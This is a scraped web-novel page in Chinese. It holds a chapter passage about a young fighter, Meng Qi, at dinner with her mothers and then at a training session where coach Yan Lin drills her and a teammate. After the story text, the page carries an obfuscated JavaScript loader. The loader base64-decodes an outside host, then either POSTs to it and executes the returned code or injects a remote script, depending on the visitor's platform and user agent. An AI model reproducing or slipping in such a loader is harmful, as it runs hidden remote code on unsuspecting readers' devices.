高博小说网

阅读记录  |   用户书架
上一章
目录 | 设置
k'ku 下一页

第135页(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |
电影推荐:辣妹神探(天天影院) 
热门推荐: 长日光yin暗许(1v1 年下)星帝睡前一篇小黄文桃花煞养尊处优的女仆大人

但这人也挺惨的,她那一场跟姚克打完之后伤的太重,后来的比赛没办法上场,直接弃权了。

难怪蒙十点点头。

诶,那你到时候可小心点,别再大意了。不放心的嘱咐着蒙玘。

嗯,我知道。蒙玘应了一声,一门心思的吃饭,突然发现蒙十一直在看自己。

怎么了妈妈?疑惑道。

没事,吃吧。蒙十抿嘴笑笑,这一年多,小崽子心智成熟了不少,举手投足也越发稳重了,一点一滴的变化蒙十全都看在眼里,异常欣慰,同时又感慨时间过得太快,她还没有看够崽子粘着自己撒娇打滚卖萌的模样。

对了妈咪,明天我去教练那训练,晚上不回来吃饭了,不用等我。

嗯好,那快多吃点。宴清说着,又给崽夹了几块肉。

不吃了,今天多吃一口,明天怕是要多跑一千米了蒙玘咽咽口水,忍下了。

她打的是五十四公斤级的比赛,体重要保持在五十一到五十四公斤,最近明显有点要超重了。

蒙十抿嘴笑笑,果然跟别人训练就是不一样,一点都不敢含糊。

晚上,崽子躺在床上跟安柠发了会短信,早早的就休息了。

诶哟哎呀教练,不行了,饶了我吧让我休息一会儿吧

向小瑾被强制做俯卧撑,一天的训练量是两百个,她加倍,现在趴在地上哀嚎呢。

不行,打输的人没资格休息。闫琳看都不看她。

耍赖是吧。闫琳见她哼哼唧唧的不好好做,俯身在她那撅起的小屁股上狠拍了两下。

诶诶教练我做我做!

你是属驴的吧?不打不动弹?闫琳一撸袖子,叉着腰,就在她旁边站着看着她,一个不标准就是一巴掌,完全不跟她客气。

与向小瑾吱哇乱叫哀嚎不断不同,蒙玘这边完全不用教练操心,两百个俯卧撑,五十个一组,做完一组休息三十秒,状态非常好。

做完俯卧撑,蒙玘坐在一旁休息,美滋滋的看着向小瑾挨收拾。

刚休息不到五分钟,闫琳来了。

教练,我做完了。蒙玘忙起身跟教练汇报。

嗯,上台,小刘过来跟她比划一下。闫琳招招手,喊来助教。

闫琳这是一个专业的团队,助教、营养师、医护人员等一应俱全。

诶,来了。应声的小刘是个比较壮实的小伙子,看起来倍儿精神。

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};
上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间